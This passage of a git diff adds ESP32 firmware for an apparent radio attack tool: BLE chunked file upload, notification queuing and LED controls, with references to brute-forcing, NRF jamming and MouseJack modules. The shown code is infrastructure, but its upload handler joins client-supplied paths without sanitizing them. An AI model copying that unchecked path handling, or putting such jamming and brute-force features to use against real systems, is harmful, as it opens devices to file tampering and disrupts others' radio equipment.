fileUploads.erase(it); + } else { + ++it; + } + } +} + +bool BleAdapter::handleUploadChunk(uint8_t chunkId, uint8_t chunkNum, uint8_t totalChunks, uint8_t *payload, size_t payloadLength) { + ESP_LOGD(TAG, "handleUploadChunk: chunkId=%d, chunkNum=%d/%d, payloadLength=%zu", chunkId, chunkNum, totalChunks, payloadLength); + + // Check if this is the first chunk (initialization) + if (chunkNum == 1) { + if (payloadLength < 3) { // Need at least: messageType(1) + pathLength(1) + pathType(1) + ESP_LOGE(TAG, "Upload chunk too short: %zu bytes", payloadLength); + notifyError("Upload command too short"); + return false; + } + + uint8_t messageType = payload[0]; + if (messageType != 0x0D) { + return false; // Not an upload command + } + + uint8_t pathLength = payload[1]; + uint8_t pathType = payload[2]; + + if (payloadLength < 3 + pathLength) { + ESP_LOGE(TAG, "Upload path length mismatch: expected %d, got %zu", 3 + pathLength, payloadLength); + notifyError("Upload path length mismatch"); + return false; + } + + // Extract path + const char* path = reinterpret_cast(payload + 3); + + // Build full path β€” pathType 4 uses LittleFS root, 0-3 use SD /DATA/... + char fullPath[256]; + if (pathType == 4) { + // LittleFS internal storage + fullPath[0] = '/'; + fullPath[1] = '\0'; + } else { + strcpy(fullPath, "/DATA/"); + switch (pathType) { + case 0: strcat(fullPath, "RECORDS"); break; + case 1: strcat(fullPath, "SIGNALS"); break; + case 2: strcat(fullPath, "PRESETS"); break; + case 3: strcat(fullPath, "TEMP"); break; + default: strcat(fullPath, "RECORDS"); break; + } + } + + if (pathLength > 0) { + if (pathType != 4) strcat(fullPath, "/"); + if (path[0] == '/') { + strncat(fullPath, path + 1, pathLength - 1); + } else { + strncat(fullPath, path, pathLength); + } + } else { + if (pathType != 4) strcat(fullPath, "/"); + } + + ESP_LOGI(TAG, "Starting file upload: %s (pathType=%d)", fullPath, pathType); + + // Open file for writing on the correct filesystem + fs::FS& fs = (pathType == 4) ? (fs::FS&)LittleFS : (fs::FS&)SD; + File file = fs.open(fullPath, FILE_WRITE); + if (!file) { + ESP_LOGE(TAG, "Failed to open file for upload: %s", fullPath); + notifyError("Failed to open file for upload"); + return false; + } + + // Initialize upload state + FileUploadState uploadState; + uploadState.file = file; + uploadState.totalChunks = totalChunks; + uploadState.receivedChunks = 1; + uploadState.timestamp = millis(); + uploadState.isActive = true; + strncpy(uploadState.filePath, fullPath, sizeof(uploadState.filePath) - 1); + uploadState.filePath[sizeof(uploadState.filePath) - 1] = '\0'; + + fileUploads[chunkId] = uploadState; + + // First chunk contains command header - skip it, no data to write + ESP_LOGI(TAG, "Upload initialized: %s, totalChunks=%d", fullPath, totalChunks); + return true; + } else { + // Subsequent chunks - write data directly to file + auto it = fileUploads.find(chunkId); + if (it == fileUploads.end()) { + ESP_LOGE(TAG, "Upload chunk received for unknown chunkId: %d", chunkId); + return false; + } + + FileUploadState& uploadState = it->second; + if (!uploadState.isActive || !uploadState.file) { + ESP_LOGE(TAG, "Upload state invalid for chunkId: %d", chunkId); + return false; + } + + // Write chunk data directly to file (NO memory buffering!) + size_t bytesWritten = uploadState.file.write(payload, payloadLength); + if (bytesWritten != payloadLength) { + ESP_LOGE(TAG, "Failed to write chunk %d: wrote %zu/%zu bytes", chunkNum, bytesWritten, payloadLength); + uploadState.file.close(); + uploadState.isActive = false; + fileUploads.erase(it); + notifyError("Failed to write chunk to file"); + return false; + } + + uploadState.receivedChunks++; + uploadState.timestamp = millis(); + + ESP_LOGD(TAG, "Upload chunk %d/%d written: %zu bytes", chunkNum, uploadState.totalChunks, bytesWritten); + + // Check if all chunks received + if (chunkNum >= totalChunks) { + size_t fileSize = uploadState.file.size(); + uploadState.file.close(); + uploadState.isActive = false; + + ESP_LOGI(TAG, "Upload completed: %s, %d chunks, %zu bytes", + uploadState.filePath, uploadState.receivedChunks, fileSize); + + // Send success response + String response; + response.reserve(200); + response = "{\"action\":\"upload\",\"success\":true,\"path\":\""; + response += uploadState.filePath; + response += "\",\"chunks\":"; + response += String(uploadState.receivedChunks); + response += "}"; + + clients.enqueueMessage(NotificationType::FileSystem, response.c_str()); + + fileUploads.erase(it); + } + + return true; + } +} + +// Server callbacks implementation +void BleAdapter::ServerCallbacks::onConnect(NimBLEServer* pServer) { + instance->deviceConnected = true; + ESP_LOGI(TAG, "BLE Client connected"); +} + +void BleAdapter::ServerCallbacks::onDisconnect(NimBLEServer* pServer) { + instance->deviceConnected = false; + ESP_LOGI(TAG, "BLE Client disconnected"); + + // Restart advertising β€” NimBLE handles this more efficiently than Bluedroid + vTaskDelay(pdMS_TO_TICKS(500)); + NimBLEDevice::startAdvertising(); + ESP_LOGI(TAG, "NimBLE Advertising restarted"); +} + +// Characteristic callbacks implementation +void BleAdapter::CharacteristicCallbacks::onWrite(NimBLECharacteristic* pCharacteristic) { + // NimBLE getValue() returns NimBLEAttValue with direct byte access + NimBLEAttValue val = pCharacteristic->getValue(); + size_t len = val.length(); + + if (len > 0) { + ESP_LOGD(TAG, "BLE Data received, len=%u", static_cast(len)); + + // Small hex preview for short payloads to aid debugging (<=16 bytes) + if (len <= 16) { + char hexPreview[3 * 16 + 1] = {0}; + for (size_t i = 0; i < len; ++i) { + snprintf(hexPreview + i * 3, 4, "%02X ", val.data()[i]); + } + ESP_LOGI(TAG, "BLE payload preview (%u bytes): %s", static_cast(len), hexPreview); + } + + // processBinaryData expects a mutable pointer; copy to local buffer + // since NimBLEAttValue data is const + adapter->processBinaryData(const_cast(val.data()), len); + } +} diff --git a/src/core/ble/BleAdapter.h b/src/core/ble/BleAdapter.h new file mode 100644 index 0000000..c12f64d --- /dev/null +++ b/src/core/ble/BleAdapter.h @@ -0,0 +1,122 @@ +#ifndef BleAdapter_h +#define BleAdapter_h + +#include +#include "config.h" +#include "ControllerAdapter.h" +#include +#include +// #include // Removed β€” unused in BleAdapter +#include +#include +#include +#include "CommandHandler.h" + +// NimBLE β€” lightweight BLE stack (replaces Bluedroid, saves ~30-40 KB RAM) +#include +#include "FS.h" + +class BleAdapter : public ControllerAdapter { +public: + BleAdapter(); + ~BleAdapter(); + void begin(); + void notify(String type, std::string message) override; + String getName() override { return "BleAdapter"; } + bool isConnected() const override { return deviceConnected; } + + // Set CommandHandler + void setCommandHandler(CommandHandler* handler) { commandHandler_ = handler; } + + // File streaming method (public for FileCommands access) + void streamFileData(const uint8_t* header, size_t headerSize, File& file, size_t fileSize); + + // Binary protocol method (public for serial command processing) + void processBinaryData(uint8_t *data, size_t len); + + // Set serial command flag (atomic β€” safe from any core) + void setSerialCommand(bool flag) { isSerialCommand.store(flag); } + + // Get instance (public for FileCommands access) + static BleAdapter* getInstance() { return instance; } + +private: + // Server callbacks + class ServerCallbacks : public NimBLEServerCallbacks { + BleAdapter* adapter; + public: + ServerCallbacks(BleAdapter* adapter) : adapter(adapter) {} + void onConnect(NimBLEServer* pServer) override; + void onDisconnect(NimBLEServer* pServer) override; + }; + + // Characteristic callbacks for RX (incoming data) + class CharacteristicCallbacks : public NimBLECharacteristicCallbacks { + BleAdapter* adapter; + public: + CharacteristicCallbacks(BleAdapter* adapter) : adapter(adapter) {} + void onWrite(NimBLECharacteristic* pCharacteristic) override; + }; + + NimBLEServer* pServer; + NimBLEService* pService; + NimBLECharacteristic* pTxCharacteristic; + NimBLECharacteristic* pRxCharacteristic; + + ServerCallbacks* serverCallbacks; + CharacteristicCallbacks* characteristicCallbacks; + + bool deviceConnected = false; + + // BLE UUIDs + static const char* SERVICE_UUID; + static const char* CHARACTERISTIC_UUID_TX; + static const char* CHARACTERISTIC_UUID_RX; + + // Binary protocol constants + static const uint8_t MAGIC_BYTE = 0xAA; + static const uint16_t MAX_CHUNK_SIZE = 500; // Safe maximum: BLE notify limit is 509 bytes, so 509 - 7 (header) - 1 (checksum) - 1 (safety) = 500 + static const uint8_t PACKET_HEADER_SIZE = 7; // Increased from 6: dataLen is now 2 bytes + + // File upload structure (minimal memory usage - writes chunks directly to file) + struct FileUploadState { + File file; + uint8_t totalChunks; + uint8_t receivedChunks; + uint32_t timestamp; + bool isActive; + char filePath[256]; // Static buffer for path + }; + + std::map fileUploads; + + // CommandHandler for executing commands + CommandHandler* commandHandler_ = nullptr; + + // Flag to indicate if current command is from serial (atomic for cross-core safety) + std::atomic isSerialCommand{false}; + + // Command execution is delegated to CommandHandler via handleSingleCommand() + + // Binary protocol methods + void handleSingleCommand(uint8_t *payload, size_t payloadLength); + void handleChunkedCommand(uint8_t chunkId, uint8_t chunkNum, uint8_t totalChunks, uint8_t *payload, size_t payloadLength); + void sendBinaryResponse(const String& data); + void sendChunkedResponse(const String& data); + void sendSingleChunk(uint8_t chunkId, uint8_t chunkNum, uint8_t totalChunks, const char* chunkData, uint16_t dataLen); + uint8_t calculateChecksum(const uint8_t *data, size_t len); + + // Utility methods + bool moduleExists(uint8_t module); + void notifyError(const char *errorMsg); + void cleanupOldUploads(); + bool handleUploadChunk(uint8_t chunkId, uint8_t chunkNum, uint8_t totalChunks, uint8_t *payload, size_t payloadLength); + + // Static instance for callbacks + static BleAdapter* instance; + + // Mutex protecting static buffer in sendSingleChunk (cross-core safety) + static SemaphoreHandle_t sendChunkMutex; +}; + +#endif // BleAdapter_h diff --git a/src/core/ble/ClientsManager.cpp b/src/core/ble/ClientsManager.cpp new file mode 100644 index 0000000..9e6e8de --- /dev/null +++ b/src/core/ble/ClientsManager.cpp @@ -0,0 +1,125 @@ +#include "ClientsManager.h" + +ClientsManager& ClientsManager::getInstance() { + static ClientsManager instance; + return instance; +} + +ClientsManager::ClientsManager() : clientsNotificationQueue(nullptr) {} + + +ClientsManager::~ClientsManager() { + if (clientsNotificationQueue != nullptr) { + vQueueDelete(clientsNotificationQueue); + } +} + +void ClientsManager::initializeQueue(size_t queueSize) { + if (clientsNotificationQueue == nullptr) { + clientsNotificationQueue = xQueueCreate(queueSize, sizeof(Notification)); + } +} + +void ClientsManager::addAdapter(ControllerAdapter* adapter) +{ + adapters[adapter->getName().c_str()] = adapter; +} + +void ClientsManager::removeAdapter(const std::string& name) +{ + adapters.erase(name); +} + +size_t ClientsManager::getConnectedCount() const +{ + size_t count = 0; + for (const auto& pair : adapters) { + if (pair.second->isConnected()) { + count++; + } + } + return count; +} + +void ClientsManager::notifyAll(NotificationType type, const std::string& message) +{ + String typeName = NotificationTypeToString(type); + for (const auto& pair : adapters) { + pair.second->notify(typeName, message); + } +} + +void ClientsManager::notifyAllBinary(NotificationType type, const uint8_t* data, size_t length) +{ + // Convert binary data to std::string (preserving null bytes) + std::string message(reinterpret_cast(data), length); + String typeName = NotificationTypeToString(type); + for (const auto& pair : adapters) { + pair.second->notify(typeName, message); + } +} + +void ClientsManager::notifyByName(const std::string& name, NotificationType type, const std::string& message) +{ + String typeName = NotificationTypeToString(type); + if (adapters.find(name) != adapters.end()) { + adapters[name]->notify(typeName, message); + } +} + +bool ClientsManager::enqueueMessage(NotificationType type, const std::string& message) +{ + if (clientsNotificationQueue == nullptr) { + return false; + } + + Notification notification; + notification.type = type; + + // Check if this is a binary message (first byte >= 0x80) + if (!message.empty() && (uint8_t)(unsigned char)message[0] >= 0x80) { + // Binary message - copy to static buffer + notification.isBinary = true; + notification.messageLength = message.length(); + if (notification.messageLength > sizeof(notification.binaryData)) { + notification.messageLength = sizeof(notification.binaryData); + } + memcpy(notification.binaryData, message.data(), notification.messageLength); + } else { + // Text message - copy to static buffer (NO HEAP ALLOCATION!) + notification.isBinary = false; + notification.messageLength = message.length(); + if (notification.messageLength >= sizeof(notification.textBuffer)) { + notification.messageLength = sizeof(notification.textBuffer) - 1; + } + memcpy(notification.textBuffer, message.c_str(), notification.messageLength); + notification.textBuffer[notification.messageLength] = '\0'; + } + + if (xQueueSend(clientsNotificationQueue, ¬ification, portMAX_DELAY) != pdPASS) { + return false; + } + + return true; +} + +void ClientsManager::processMessageQueue(void *taskParameters) { + Notification notification; + + while (true) { + if (xQueueReceive(ClientsManager::getInstance().clientsNotificationQueue, ¬ification, portMAX_DELAY)) { + if (notification.isBinary) { + // Binary message - use static buffer + ClientsManager::getInstance().notifyAllBinary( + notification.type, + notification.binaryData, + notification.messageLength + ); + } else { + // Text message - use static buffer (no std::string allocation!) + ClientsManager::getInstance().notifyAll(notification.type, std::string(notification.textBuffer)); + } + } + vTaskDelay(pdMS_TO_TICKS(10)); + } +} \ No newline at end of file diff --git a/src/core/ble/ClientsManager.h b/src/core/ble/ClientsManager.h new file mode 100644 index 0000000..7b14a9b --- /dev/null +++ b/src/core/ble/ClientsManager.h @@ -0,0 +1,130 @@ +#ifndef ClientsManager_h +#define ClientsManager_h + +#include +#include +#include + +#include "ControllerAdapter.h" + +enum class NotificationType +{ + SignalDetected, + SignalRecorded, + SignalRecordError, + SignalSent, + SignalSendingError, + State, + ModeSwitch, + FileSystem, + FileUpload, + FrequencySearchStarted, + FrequencySearchError, + BruterProgress, + BruterComplete, + SettingsSync, + VersionInfo, + NrfEvent, + OtaEvent, + SdrEvent, + DeviceInfo, + Unknown +}; + +inline const String NotificationTypeToString(NotificationType v) +{ + switch (v) { + case NotificationType::SignalDetected: + return "SignalDetected"; + case NotificationType::SignalRecorded: + return "SignalRecorded"; + case NotificationType::SignalRecordError: + return "SignalRecordError"; + case NotificationType::SignalSent: + return "SignalSent"; + case NotificationType::SignalSendingError: + return "SignalSendingError"; + case NotificationType::ModeSwitch: + return "ModeSwitch"; + case NotificationType::FileSystem: + return "FileSystem"; + case NotificationType::FileUpload: + return "FileUpload"; + case NotificationType::State: + return "State"; + case NotificationType::FrequencySearchStarted: + return "FrequencySearchStarted"; + case NotificationType::FrequencySearchError: + return "FrequencySearchError"; + case NotificationType::BruterProgress: + return "BruterProgress"; + case NotificationType::BruterComplete: + return "BruterComplete"; + case NotificationType::SettingsSync: + return "SettingsSync"; + case NotificationType::VersionInfo: + return "VersionInfo"; + case NotificationType::NrfEvent: + return "NrfEvent"; + case NotificationType::OtaEvent: + return "OtaEvent"; + case NotificationType::SdrEvent: + return "SdrEvent"; + case NotificationType::DeviceInfo: + return "DeviceInfo"; + default: + return "Unknown"; + } +} + +struct Notification +{ + NotificationType type; + char textBuffer[256]; // Static buffer for text messages (keep small - files sent directly) + uint8_t binaryData[128]; // Static buffer for binary messages + size_t messageLength; + bool isBinary; + + Notification() : type(NotificationType::Unknown), messageLength(0), isBinary(false) { + textBuffer[0] = '\0'; + memset(binaryData, 0, sizeof(binaryData)); + } + + // Get message as std::string (only when needed for backward compatibility) + std::string getMessage() const { + if (isBinary) { + return std::string(reinterpret_cast(binaryData), messageLength); + } else { + return std::string(textBuffer); + } + } +}; + +class ClientsManager +{ + public: + static ClientsManager& getInstance(); + + void addAdapter(ControllerAdapter* adapter); + void removeAdapter(const std::string& name); + void notifyAll(NotificationType type, const std::string& message); + void notifyAllBinary(NotificationType type, const uint8_t* data, size_t length); + void notifyByName(const std::string& name, NotificationType type, const std::string& message); + void initializeQueue(size_t queueSize); + + bool enqueueMessage(NotificationType, const std::string& message); + static void processMessageQueue(void *taskParameters); + + // Get count of connected clients across all adapters + size_t getConnectedCount() const; + + private: + ClientsManager(); + ~ClientsManager(); + ClientsManager(const ClientsManager&) = delete; + ClientsManager& operator=(const ClientsManager&) = delete; + QueueHandle_t clientsNotificationQueue; + std::map adapters; +}; + +#endif // Clients_h \ No newline at end of file diff --git a/src/core/ble/CommandHandler.cpp b/src/core/ble/CommandHandler.cpp new file mode 100644 index 0000000..1cd8e34 --- /dev/null +++ b/src/core/ble/CommandHandler.cpp @@ -0,0 +1,6 @@ +#include "CommandHandler.h" + +// Global instance of CommandHandler +CommandHandler commandHandler; + + diff --git a/src/core/ble/CommandHandler.h b/src/core/ble/CommandHandler.h new file mode 100644 index 0000000..8272907 --- /dev/null +++ b/src/core/ble/CommandHandler.h @@ -0,0 +1,55 @@ +#ifndef CommandHandler_h +#define CommandHandler_h + +#include +#include +#include +#include + +class CommandHandler { +public: + using CommandFunc = std::function; + + volatile bool isExecuting = false; + + void registerCommand(uint8_t id, CommandFunc func) { + commands_[id] = func; + ESP_LOGI("CommandHandler", "Registered command: 0x%02X", id); + } + + bool executeCommand(uint8_t id, const uint8_t* data, size_t len) { + auto it = commands_.find(id); + if (it != commands_.end()) { + ESP_LOGD("CommandHandler", "Executing command: 0x%02X", id); + isExecuting = true; + bool result = it->second(data, len); + isExecuting = false; + return result; + } + ESP_LOGW("CommandHandler", "Command not found: 0x%02X", id); + return false; + } + + bool hasCommand(uint8_t id) const { + return commands_.find(id) != commands_.end(); + } + + size_t getCommandCount() const { + return commands_.size(); + } + + void disableCommand(uint8_t id) { + commands_.erase(id); + ESP_LOGI("CommandHandler", "Disabled command: 0x%02X", id); + } + +private: + std::map commands_; +}; + +// Global instance +extern CommandHandler commandHandler; + +#endif + + diff --git a/src/core/ble/ControllerAdapter.cpp b/src/core/ble/ControllerAdapter.cpp new file mode 100644 index 0000000..c37c7e1 --- /dev/null +++ b/src/core/ble/ControllerAdapter.cpp @@ -0,0 +1,11 @@ +#include "ControllerAdapter.h" + +// Initialize the static member +QueueHandle_t ControllerAdapter::xTaskQueue = nullptr; + +void ControllerAdapter::initializeQueue() +{ + if (xTaskQueue == nullptr) { + xTaskQueue = xQueueCreate(20, sizeof(QueueItem*)); // Increased from 5 to 20 + } +} \ No newline at end of file diff --git a/src/core/ble/ControllerAdapter.h b/src/core/ble/ControllerAdapter.h new file mode 100644 index 0000000..6bfcab2 --- /dev/null +++ b/src/core/ble/ControllerAdapter.h @@ -0,0 +1,31 @@ +#ifndef ControllerAdapter_h +#define ControllerAdapter_h + +#include "DeviceTasks.h" +#include +#include +#include + +class ControllerAdapter +{ +public: + static void initializeQueue(); + virtual void notify(String type, std::string message) = 0; + virtual String getName() = 0; + virtual bool isConnected() const { return false; } // Default: not connected + static QueueHandle_t xTaskQueue; + + template + static bool sendTask(T&& task) { + QueueItem* item = new QueueItem(std::move(task)); + + if (xQueueSend(xTaskQueue, &item, portMAX_DELAY) != pdPASS) { + delete item; + // Handle queue full situation + return false; + } + return true; + } +}; + +#endif \ No newline at end of file diff --git a/src/core/ble/Request.cpp b/src/core/ble/Request.cpp new file mode 100644 index 0000000..fdf3da0 --- /dev/null +++ b/src/core/ble/Request.cpp @@ -0,0 +1,19 @@ +#include "Request.h" + +uint32_t calculateCRC32(const uint8_t *data, size_t length) +{ + uint32_t crc = 0xFFFFFFFF; + + for (size_t i = 0; i < length; i++) { + crc ^= data[i]; + for (int j = 0; j < 8; j++) { + if (crc & 1) { + crc = (crc >> 1) ^ 0xEDB88320; + } else { + crc >>= 1; + } + } + } + + return ~crc; +} diff --git a/src/core/ble/Request.h b/src/core/ble/Request.h new file mode 100644 index 0000000..7fe79d8 --- /dev/null +++ b/src/core/ble/Request.h @@ -0,0 +1,27 @@ +#ifndef Request_h +#define Request_h + +#include + +struct RequestRecord { + float frequency; // 4 bytes for frequency + uint8_t preset[50]; // Fixed size preset (max 50 bytes) + uint8_t module; // 1 byte for module number + uint8_t modulation; // 1 byte for modulation + float deviation; // 4 bytes for deviation + float rxBandwidth; // 4 bytes for bandwidth + float dataRate; // 4 bytes for data rate +}; + +struct TransmitFromFileRequest { + uint8_t filePath[50]; +}; + +struct RequestScan { + uint8_t module; // 1 byte for module + int8_t minRssi; // 1 byte for minimum RSSI value +}; + +uint32_t calculateCRC32(const uint8_t *data, size_t length); + +#endif // Request_h diff --git a/src/core/device_controls/DeviceControls.cpp b/src/core/device_controls/DeviceControls.cpp new file mode 100644 index 0000000..d0c5509 --- /dev/null +++ b/src/core/device_controls/DeviceControls.cpp @@ -0,0 +1,121 @@ +#include "DeviceControls.h" + +unsigned long DeviceControls::blinkTime = 0; + +void DeviceControls::setup() +{ + pinMode(LED, OUTPUT); + pinMode(BUTTON1, INPUT); + pinMode(BUTTON2, INPUT); +} + +void DeviceControls::onLoadPowerManagement() +{ + if (digitalRead(BUTTON2) != LOW && digitalRead(BUTTON1) == LOW) { + if (ConfigManager::isSleepMode()) { + goDeepSleep(); + } + } + + if (digitalRead(BUTTON2) == LOW && digitalRead(BUTTON1) == HIGH) { + if (!ConfigManager::isSleepMode()) { + ConfigManager::setSleepMode(1); + goDeepSleep(); + } else { + ConfigManager::setSleepMode(0); + } + } +} + +void DeviceControls::onLoadServiceMode() +{ + if (digitalRead(BUTTON1) == LOW && digitalRead(BUTTON2) == LOW) { + if (!ConfigManager::isServiceMode()) { + ConfigManager::setServiceMode(1); + } else { + ConfigManager::setServiceMode(0); + } + } +} + +void DeviceControls::goDeepSleep() +{ + for (int i = 0; i < CC1101_NUM_MODULES; i++) { + moduleCC1101State[i].goSleep(); + } + ledBlink(5, 150); + esp_deep_sleep_start(); +} + +void DeviceControls::ledBlink(int count, int pause) +{ + for (int i = 0; i < count; i++) { + digitalWrite(LED, HIGH); + delay(pause); + digitalWrite(LED, LOW); + delay(pause); + } +} + +void DeviceControls::poweronBlink() +{ + if (millis() - blinkTime > BLINK_OFF_TIME) { + digitalWrite(LED, LOW); + } + if (millis() - blinkTime > BLINK_OFF_TIME + BLINK_ON_TIME) { + digitalWrite(LED, HIGH); + blinkTime = millis(); + } +} + +void DeviceControls::bruterActiveBlink() +{ + static unsigned long bruterBlinkTime = 0; + static bool bruterLedState = false; + + if (millis() - bruterBlinkTime > 100) { // Fast blink every 100ms + bruterLedState = !bruterLedState; + digitalWrite(LED, bruterLedState ? HIGH : LOW); + bruterBlinkTime = millis(); + } +} + +void DeviceControls::nrfJamActiveBlink() +{ + // Double-flash pattern to distinguish from bruter blink: + // ON 50ms - OFF 50ms - ON 50ms - OFF 200ms (total period ~350ms) + static unsigned long jamBlinkTime = 0; + static uint8_t jamBlinkPhase = 0; + unsigned long elapsed = millis() - jamBlinkTime; + + switch (jamBlinkPhase) { + case 0: // First flash ON + if (elapsed > 200) { + digitalWrite(LED, HIGH); + jamBlinkTime = millis(); + jamBlinkPhase = 1; + } + break; + case 1: // First flash OFF + if (elapsed > 50) { + digitalWrite(LED, LOW); + jamBlinkTime = millis(); + jamBlinkPhase = 2; + } + break; + case 2: // Second flash ON + if (elapsed > 50) { + digitalWrite(LED, HIGH); + jamBlinkTime = millis(); + jamBlinkPhase = 3; + } + break; + case 3: // Gap before restart + if (elapsed > 50) { + digitalWrite(LED, LOW); + jamBlinkTime = millis(); + jamBlinkPhase = 0; + } + break; + } +} \ No newline at end of file diff --git a/src/core/device_controls/DeviceControls.h b/src/core/device_controls/DeviceControls.h new file mode 100644 index 0000000..e10b77c --- /dev/null +++ b/src/core/device_controls/DeviceControls.h @@ -0,0 +1,26 @@ +#ifndef Device_Controls_h +#define Device_Controls_h + +#include "config.h" +#include "modules/CC1101_driver/CC1101_Module.h" +#include "ConfigManager.h" + +const int BLINK_ON_TIME = 200; +const int BLINK_OFF_TIME = 1000; + +class DeviceControls { + private: + static unsigned long blinkTime; + + public: + static void setup(); + static void onLoadPowerManagement(); + static void goDeepSleep(); + static void ledBlink(int count, int pause); + static void poweronBlink(); + static void bruterActiveBlink(); + static void nrfJamActiveBlink(); + static void onLoadServiceMode(); +}; + +#endif \ No newline at end of file diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..2ce5d16 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,781 @@ +#include +#include +#include +// #include // Removed β€” unused, saves ~2-4KB rodata +#include "core/ble/CommandHandler.h" +#include "FileCommands.h" +#include "TransmitterCommands.h" +#include "RecorderCommands.h" +#include "StateCommands.h" +#include "BruterCommands.h" +#include "NrfCommands.h" +#include "OtaCommands.h" +#include "ButtonCommands.h" +#include "SdrCommands.h" +#include "AllProtocols.h" +#include "modules/bruter/bruter_main.h" +#include "core/ble/ClientsManager.h" +#include "ConfigManager.h" +#include "core/device_controls/DeviceControls.h" +#include "FS.h" +#include +#include "SD.h" +#include "SPI.h" +#include "core/ble/BleAdapter.h" +#include "config.h" +#include "esp_log.h" +#include "modules/CC1101_driver/CC1101_Module.h" +#include "BinaryMessages.h" +#include "modules/CC1101_driver/CC1101_Worker.h" +#include "modules/nrf/NrfModule.h" +#include "modules/nrf/MouseJack.h" +#include "modules/nrf/NrfJammer.h" +#include "driver/gpio.h" + +#if BATTERY_MODULE_ENABLED +#include "modules/battery/BatteryModule.h" +#endif + +#if SDR_MODULE_ENABLED +#include "modules/sdr/SdrModule.h" +#endif + +static const char* TAG = "Setup"; + +// Constants +const int MAX_RETRIES = 5; + +static void setupCc1101Pins() +{ + // Ensure CC1101 SPI pins are configured as GPIO before any digitalWrite + pinMode(CC1101_SCK, OUTPUT); + pinMode(CC1101_MOSI, OUTPUT); + pinMode(CC1101_MISO, INPUT); + pinMode(CC1101_SS0, OUTPUT); + pinMode(CC1101_SS1, OUTPUT); +} + +// Global variables +bool bleAdapterStarted = false; +BleAdapter bleAdapter; + +// Device time (Unix timestamp in seconds, updated by time sync task) +uint32_t deviceTime = 0; + +SPIClass sdspi(VSPI); + +// REMOVED - old static task buffers (no longer needed with worker architecture) +// CC1101Worker uses its own static allocation + +// Forward declarations +void signalRecordedHandler(bool saved, const std::string& filename); +void timeSyncTask(void* pvParameters); + +// Heap monitoring helper +void logHeapStats(const char* context) { + size_t freeHeap = ESP.getFreeHeap(); + size_t largestBlock = heap_caps_get_largest_free_block(MALLOC_CAP_DEFAULT); + size_t minFreeHeap = ESP.getMinFreeHeap(); + + // Calculate fragmentation percentage + float fragmentation = 0.0f; + if (freeHeap > 0) { + fragmentation = 100.0f * (1.0f - (float)largestBlock / (float)freeHeap); + } + + ESP_LOGI("Heap", "[%s] Free: %d, Largest: %d, MinFree: %d, Frag: %.1f%%", + context, freeHeap, largestBlock, minFreeHeap, fragmentation); + + // Warning if fragmentation is high + if (fragmentation > 30.0f) { + ESP_LOGW("Heap", "High fragmentation detected: %.1f%%", fragmentation); + } + + // Warning if largest block is smaller than task stack sizes + if (largestBlock < 4096) { + ESP_LOGW("Heap", "Largest block (%d) < RecordTask stack (4096) - would fail with dynamic allocation!", largestBlock); + } + if (largestBlock < 3072) { + ESP_LOGW("Heap", "Largest block (%d) < DetectTask stack (3072) - would fail with dynamic allocation!", largestBlock); + } +} + +// Apply persistent settings to bruter and scanner runtime. +// Called at boot after module init, and on BLE settings update. +void ConfigManager::applyToRuntime() { + BruterModule& bruter = getBruterModule(); + bruter.setInterFrameDelay(settings.bruterDelay); + if (settings.bruterRepeats >= 1 && settings.bruterRepeats <= BRUTER_MAX_REPETITIONS) { + bruter.setGlobalRepeats(settings.bruterRepeats); + } + // Apply radio TX power for both CC1101 modules + extern ModuleCc1101 moduleCC1101State[CC1101_NUM_MODULES]; + moduleCC1101State[0].setPA(settings.radioPowerMod1); + moduleCC1101State[1].setPA(settings.radioPowerMod2); + ESP_LOGI("ConfigManager", "Runtime settings applied: delay=%dms reps=%d mod1_pwr=%ddBm mod2_pwr=%ddBm", + settings.bruterDelay, settings.bruterRepeats, + settings.radioPowerMod1, settings.radioPowerMod2); +} + +// Global objects (moved from Actions.cpp) +ClientsManager& clients = ClientsManager::getInstance(); + +// REMOVED: deviceModes - no longer needed with worker architecture +// Cc1101Mode deviceModes[] = {...}; + +// Handler functions (moved from Actions.cpp) +void signalRecordedHandler(bool saved, const std::string& filename) +{ + if (saved) { + BinarySignalRecorded msg; + msg.module = 0; // Default + msg.filenameLength = (uint8_t)std::min((size_t)255, filename.length()); + + static uint8_t buffer[260]; + memcpy(buffer, &msg, sizeof(BinarySignalRecorded)); + memcpy(buffer + sizeof(BinarySignalRecorded), filename.c_str(), msg.filenameLength); + + clients.notifyAllBinary(NotificationType::SignalRecorded, buffer, sizeof(BinarySignalRecorded) + msg.filenameLength); + } else { + // Send as binary error + static uint8_t errBuffer[260]; + errBuffer[0] = MSG_ERROR; + errBuffer[1] = 10; // Error code for record failed + std::string errMsg = "Failed to save file: " + filename; + uint8_t msgLen = (uint8_t)std::min((size_t)255, errMsg.length()); + memcpy(errBuffer + 2, errMsg.c_str(), msgLen); + clients.notifyAllBinary(NotificationType::FileSystem, errBuffer, 2 + msgLen); + } +} + +// Adapter for CC1101Worker detected signal callback +void cc1101WorkerSignalDetectedHandler(const CC1101DetectedSignal& signal) +{ + ESP_LOGI("Main", "Signal detected: rssi=%d, freq=%.2f, module=%d", + signal.rssi, signal.frequency, signal.module); + + BinarySignalDetected msg; + msg.module = signal.module; + msg.frequency = (uint32_t)(signal.frequency * 1000000); // MHz to Hz + msg.rssi = signal.rssi; + msg.samples = 0; + + clients.notifyAllBinary(NotificationType::SignalDetected, reinterpret_cast(&msg), sizeof(BinarySignalDetected)); +} + +// REMOVED - signalDetectedHandler (Detector functionality moved to CC1101Worker) + +// REMOVED - old state machine callback +// void onStateChange(int module, OperationMode mode, OperationMode previousMode) { } + +// BLE parameters - no longer needed + +// Device settings +struct DeviceConfig +{ + bool powerBlink; +} deviceConfig; + +// REMOVED - old state machine task (all code deleted, now using CC1101Worker) + +void taskProcessor(void* pvParameters) +{ + if (ControllerAdapter::xTaskQueue == nullptr) { + ESP_LOGE(TAG, "Task queue not found"); + vTaskDelete(nullptr); // Remove task + } + QueueItem* item; + while (true) { + if (xQueueReceive(ControllerAdapter::xTaskQueue, &item, portMAX_DELAY)) { + switch (item->type) { + case Device::TaskType::Transmission: { + Device::TaskTransmission& task = item->transmissionTask; + ESP_LOGI(TAG, "Processing transmission task for module %d", task.module); + + if (task.filename) { + // Send command to CC1101Worker + int repeat = task.repeat ? *task.repeat : 1; + if (CC1101Worker::transmit(task.module, *task.filename, repeat, task.pathType)) { + BinarySignalSent msg; + msg.module = task.module; + msg.filenameLength = (uint8_t)std::min((size_t)255, task.filename->length()); + + static uint8_t buffer[260]; + memcpy(buffer, &msg, sizeof(BinarySignalSent)); + memcpy(buffer + sizeof(BinarySignalSent), task.filename->c_str(), msg.filenameLength); + 